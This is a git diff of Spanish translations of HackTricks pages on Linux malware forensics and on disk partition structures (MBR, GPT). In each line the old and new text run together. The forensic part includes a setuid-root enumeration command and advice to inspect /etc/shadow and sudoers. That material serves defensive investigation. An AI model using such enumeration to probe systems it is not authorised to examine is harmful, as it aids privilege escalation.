Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y utilizadas en proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\ Examina el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\ Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\
Finalmente, busca cuentas sin contraseñas o con contraseñas **fáciles de adivinar**. Finalmente, busca cuentas con **sin contraseñas** o contraseñas **fácilmente adivinables**.
## Examinar el Sistema de Archivos ## Examinar el Sistema de Archivos
### Analizando Estructuras del Sistema de Archivos en Investigaciones de Malware ### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware
En incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos. Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
Para contrarrestar estos métodos antiforense, es esencial: Para contrarrestar estos métodos anti-forenses, es esencial:
* Realizar un **análisis detallado de la línea de tiempo** utilizando herramientas como **Autopsy** para visualizar las líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos detallados de la línea de tiempo. * **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados.
* Investigar **scripts inesperados** en la variable $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes. * **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
* Examinar `/dev` en busca de archivos atípicos, ya que tradicionalmente contiene archivos especiales, pero puede contener archivos relacionados con malware. * **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware.
* Buscar archivos o directorios ocultos con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso. * **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
* Identificar archivos setuid root con el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes. * **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
* Revisar las marcas de tiempo de eliminación en las tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos. * **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
* Inspeccionar inodos consecutivos en busca de archivos maliciosos cercanos después de identificar uno, ya que podrían haber sido colocados juntos. * **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos.
* Verificar los directorios binarios comunes (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que podrían ser alterados por malware. * **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -374,16 +376,16 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
Ten en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inode**. Si descubres que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**. Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero no **puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
{% endhint %} {% endhint %}
## Comparar archivos de diferentes versiones de sistemas de archivos ## Comparar archivos de diferentes versiones del sistema de archivos
### Resumen de Comparación de Versiones de Sistemas de Archivos ### Resumen de comparación de versiones del sistema de archivos
Para comparar versiones de sistemas de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`: Para comparar versiones del sistema de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`:
* **Para encontrar archivos nuevos**, compara dos directorios: * **Para encontrar nuevos archivos**, compare dos directorios:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
@ -395,13 +397,13 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **Opciones de filtro** (`--diff-filter`) ayudan a reducir los cambios específicos como archivos añadidos (`A`), eliminados (`D`), o modificados (`M`). * **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`).
* `A`: Archivos añadidos * `A`: Archivos añadidos
* `C`: Archivos copiados * `C`: Archivos copiados
* `D`: Archivos eliminados * `D`: Archivos eliminados
* `M`: Archivos modificados * `M`: Archivos modificados
* `R`: Archivos renombrados * `R`: Archivos renombrados
* `T`: Cambios de tipo (por ejemplo, archivo a enlace simbólico) * `T`: Cambios de tipo (por ejemplo, de archivo a symlink)
* `U`: Archivos no fusionados * `U`: Archivos no fusionados
* `X`: Archivos desconocidos * `X`: Archivos desconocidos
* `B`: Archivos rotos * `B`: Archivos rotos
@ -411,26 +413,26 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **Libro: Guía de Campo de Forense de Malware para Sistemas Linux: Guías de Campo de Forense Digital**
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,69 +1,70 @@
# Particiones/Sistemas de Archivos/Carving # Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Particiones ## Partitions
Un disco duro o un **disco SSD puede contener diferentes particiones** con el objetivo de separar físicamente los datos.\ Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\
La **unidad mínima** de un disco es el **sector** (normalmente compuesto por 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño. La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño.
### MBR (Registro de Arranque Principal) ### MBR (master Boot Record)
Se encuentra en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\ Se asigna en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\
Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**arrancable**). Sin embargo, si necesitas más particiones puedes usar **particiones extendidas**. El **último byte** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede estar marcada como activa.\ Permite hasta **4 particiones** (como máximo **solo 1** puede estar activa/**arrancable**). Sin embargo, si necesitas más particiones, puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede marcarse como activa.\
MBR permite **máximo 2.2TB**. MBR permite **máx 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>) ![](<../../../.gitbook/assets/image (490).png>)
Desde los **bytes 440 al 443** del MBR puedes encontrar la **Firma del Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría evitar que Windows se inicie (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>) ![](<../../../.gitbook/assets/image (493).png>)
**Formato** **Formato**
| Offset | Longitud | Elemento | | Offset | Length | Item |
| ----------- | ---------- | ------------------- | | ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Código de arranque | | 0 (0x00) | 446(0x1BE) | Código de arranque |
| 446 (0x1BE) | 16 (0x10) | Primera Partición | | 446 (0x1BE) | 16 (0x10) | Primera partición |
| 462 (0x1CE) | 16 (0x10) | Segunda Partición | | 462 (0x1CE) | 16 (0x10) | Segunda partición |
| 478 (0x1DE) | 16 (0x10) | Tercera Partición | | 478 (0x1DE) | 16 (0x10) | Tercera partición |
| 494 (0x1EE) | 16 (0x10) | Cuarta Partición | | 494 (0x1EE) | 16 (0x10) | Cuarta partición |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Registro de Partición** **Formato del Registro de Partición**
| Offset | Longitud | Elemento | | Offset | Length | Item |
| --------- | -------- | --------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) | | 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
| 1 (0x01) | 1 (0x01) | Cabeza de inicio | | 1 (0x01) | 1 (0x01) | Cabeza de inicio |
| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) | | 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) |
| 3 (0x03) | 1 (0x01) | Bits más bajos del cilindro de inicio | | 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos |
| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | | 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Cabeza final | | 5 (0x05) | 1 (0x01) | Cabeza final |
| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) | | 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) |
| 7 (0x07) | 1 (0x01) | Bits más bajos del cilindro final | | 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits más bajos |
| 8 (0x08) | 4 (0x04) | Sectores previos a la partición (poco endian) | | 8 (0x08) | 4 (0x04) | Sectores precedentes a la partición (little endian) |
| 12 (0x0C) | 4 (0x04) | Sectores en la partición | | 12 (0x0C) | 4 (0x04) | Sectores en la partición |
Para montar un MBR en Linux primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`) Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Y luego usar el siguiente código Y luego usa el siguiente código
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
@ -72,68 +73,68 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (Dirección de bloque lógico)** **LBA (Dirección de bloque lógico)**
**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente en sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se ubican mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente. **La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se localizan mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente.
### GPT (Tabla de particiones GUID) ### GPT (Tabla de particiones GUID)
La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque principal). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos: La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque maestro). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos:
* **Ubicación y tamaño**: Tanto GPT como MBR comienzan en el **sector 0**. Sin embargo, GPT opera en **64 bits**, a diferencia de los 32 bits de MBR. * **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR.
* **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y puede alojar hasta **9.4ZB** de datos. * **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos.
* **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. * **Nombres de partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
**Resiliencia y recuperación de datos**: **Resiliencia y recuperación de datos**:
* **Redundancia**: A diferencia de MBR, GPT no limita la partición y los datos de arranque a un solo lugar. Replica estos datos en todo el disco, mejorando la integridad y resiliencia de los datos. * **Redundancia**: A diferencia de MBR, GPT no confina la partición y los datos de arranque a un solo lugar. Replica estos datos a lo largo del disco, mejorando la integridad y resiliencia de los datos.
* **Código de redundancia cíclica (CRC)**: GPT emplea CRC para garantizar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos desde otra ubicación en el disco. * **Verificación de redundancia cíclica (CRC)**: GPT emplea CRC para asegurar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos de otra ubicación del disco.
**MBR protector (LBA0)**: **MBR protector (LBA0)**:
* GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio de MBR heredado pero está diseñada para evitar que las utilidades más antiguas basadas en MBR sobrescriban por error los discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT. * GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades basadas en MBR más antiguas sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**MBR híbrido (LBA 0 + GPT)** **MBR híbrido (LBA 0 + GPT)**
[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [De Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede usarse para almacenar la primera etapa del código del **cargador de arranque**, pero **modificado** para reconocer **particiones GPT**. El cargador de arranque en el MBR no debe asumir un tamaño de sector de 512 bytes. En sistemas operativos que soportan **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes.
**Encabezado de la tabla de particiones (LBA 1)** **Encabezado de la tabla de particiones (LBA 1)**
[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [De Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que conforman la tabla de particiones (desplazamientos 80 y 84 en la tabla). El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla).
| Desplazamiento | Longitud | Contenido | | Desplazamiento | Longitud | Contenido |
| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) | | 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) |
| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 | | 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little-endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) | | 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta tamaño del encabezado) en little-endian, con este campo en cero durante el cálculo | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo |
| 20 (0x14) | 4 bytes | Reservado; debe ser cero | | 20 (0x14) | 4 bytes | Reservado; debe ser cero |
| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) | | 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) | | 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) | | 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria 1) | | 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria 1) |
| 56 (0x38) | 16 bytes | GUID del disco en endian mixto | | 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
| 72 (0x48) | 8 bytes | LBA de inicio de una matriz de entradas de partición (siempre 2 en la copia primaria) | | 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) |
| 80 (0x50) | 4 bytes | Número de entradas de partición en la matriz | | 80 (0x50) | 4 bytes | Número de entradas de partición en el array |
| 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (generalmente 80h o 128) | | 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) |
| 88 (0x58) | 4 bytes | CRC32 de la matriz de entradas de partición en little-endian | | 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian |
| 92 (0x5C) | \* | Reservado; deben ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) | | 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) |
**Entradas de particiones (LBA 233)** **Entradas de partición (LBA 233)**
| Formato de entrada de partición GUID | | | | Formato de entrada de partición GUID | | |
| ----------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | ------------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Desplazamiento | Longitud | Contenido | | Desplazamiento | Longitud | Contenido |
| 0 (0x00) | 16 bytes | [GUID del tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) | | 0 (0x00) | 16 bytes | [GUID de tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) |
| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | | 16 (0x10) | 16 bytes | GUID único de partición (endian mixto) |
| 32 (0x20) | 8 bytes | Primer LBA ([little-endian](https://en.wikipedia.org/wiki/Little\_endian)) | | 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | | 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
| 48 (0x30) | 8 bytes | Banderas de atributo (por ejemplo, el bit 60 denota solo lectura) | | 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) |
| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código UTF-16LE) | | 56 (0x38) | 72 bytes | Nombre de la partición (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código) |
**Tipos de particiones** **Tipos de particiones**
@ -143,11 +144,12 @@ Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID\_Partition\_Tab
### Inspección ### Inspección
Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado: Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la imagen siguiente se detectó un **MBR** en el **sector 0** e interpretado:
